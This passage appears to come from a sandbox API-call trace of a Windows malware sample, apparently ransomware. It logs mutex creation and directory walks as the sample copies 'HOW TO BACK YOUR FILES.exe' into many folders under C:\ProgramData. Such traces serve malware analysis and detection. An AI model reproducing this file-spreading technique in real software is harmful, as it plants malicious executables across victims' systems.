cAlternateFileName="")) returned 1 [0100.618] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0100.618] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0100.618] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.619] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0100.619] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0100.619] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0100.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.619] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0100.620] lstrcatW (in: lpString1="WwanSvc", lpString2="\\" | out: lpString1="WwanSvc\\") returned="WwanSvc\\" [0100.620] lstrcatW (in: lpString1="WwanSvc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WwanSvc\\HOW TO BACK YOUR FILES.exe") returned="WwanSvc\\HOW TO BACK YOUR FILES.exe" [0100.620] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.620] FindNextFileW (in: hFindFile=0x529610, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0100.620] FindClose (in: hFindFile=0x529610 | out: hFindFile=0x529610) returned 1 [0100.620] ReleaseMutex (hMutex=0xec) returned 1 [0100.620] CloseHandle (hObject=0xec) returned 1 [0100.620] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Microsoft Help" | out: lpString1="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0100.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517668 | out: hHeap=0x4f0000) returned 1 [0100.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b068 | out: hHeap=0x4f0000) returned 1 [0100.620] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help") returned 33 [0100.620] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\543A268A35D4C4E565AB9D7184873B8F") returned 0xec [0100.620] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.621] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft Help" | out: lpString1="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0100.621] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.621] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.621] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.621] GetLastError () returned 0x0 [0100.621] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.621] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.622] CloseHandle (hObject=0xf4) returned 1 [0100.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.622] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529610 [0100.623] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Mozilla" | out: lpString1="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla" [0100.623] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.624] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.624] GetLastError () returned 0x0 [0100.624] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.624] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.625] CloseHandle (hObject=0xf4) returned 1 [0100.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.625] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529650 [0100.625] lstrcatW (in: lpString1="logs", lpString2="\\" | out: lpString1="logs\\") returned="logs\\" [0100.625] lstrcatW (in: lpString1="logs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="logs\\HOW TO BACK YOUR FILES.exe") returned="logs\\HOW TO BACK YOUR FILES.exe" [0100.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.625] FindNextFileW (in: hFindFile=0x529650, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xe24230c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24230c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0100.626] FindClose (in: hFindFile=0x529650 | out: hFindFile=0x529650) returned 1 [0100.626] ReleaseMutex (hMutex=0xec) returned 1 [0100.626] CloseHandle (hObject=0xec) returned 1 [0100.626] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users\\Oracle" | out: lpString1="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0100.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529690 | out: hHeap=0x4f0000) returned 1 [0100.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b098 | out: hHeap=0x4f0000) returned 1 [0100.626] lstrlenW (lpString="C:\\Users\\All Users\\Oracle") returned 25 [0100.626] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\610E4F038B750828A8255BBDED9D8A91") returned 0xec [0100.626] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.626] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Oracle" | out: lpString1="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0100.626] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.627] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\oracle\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.627] GetLastError () returned 0x0 [0100.627] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.627] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.628] CloseHandle (hObject=0xf4) returned 1 [0100.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.628] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.628] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529690 [0100.628] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache" | out: lpString1="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0100.628] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.628] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.629] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.629] GetLastError () returned 0x0 [0100.629] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.629] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.630] CloseHandle (hObject=0xf4) returned 1 [0100.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.630] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.630] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529690 [0100.630] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="\\" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0100.630] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" [0100.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.630] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0100.631] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="\\" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0100.631] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" [0100.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.631] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.631] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0100.631] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0100.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.632] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe24954e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24954e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0100.632] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0100.632] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" [0100.632] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.632] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0100.632] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0100.633] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0100.633] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.633] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2553bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2553bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0100.633] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="\\" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0100.633] lstrcatW (in: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" [0100.633] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.634] FindNextFileW (in: hFindFile=0x529690, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0100.634] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="\\" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0100.634] lstrcatW (in: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0100.634] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your 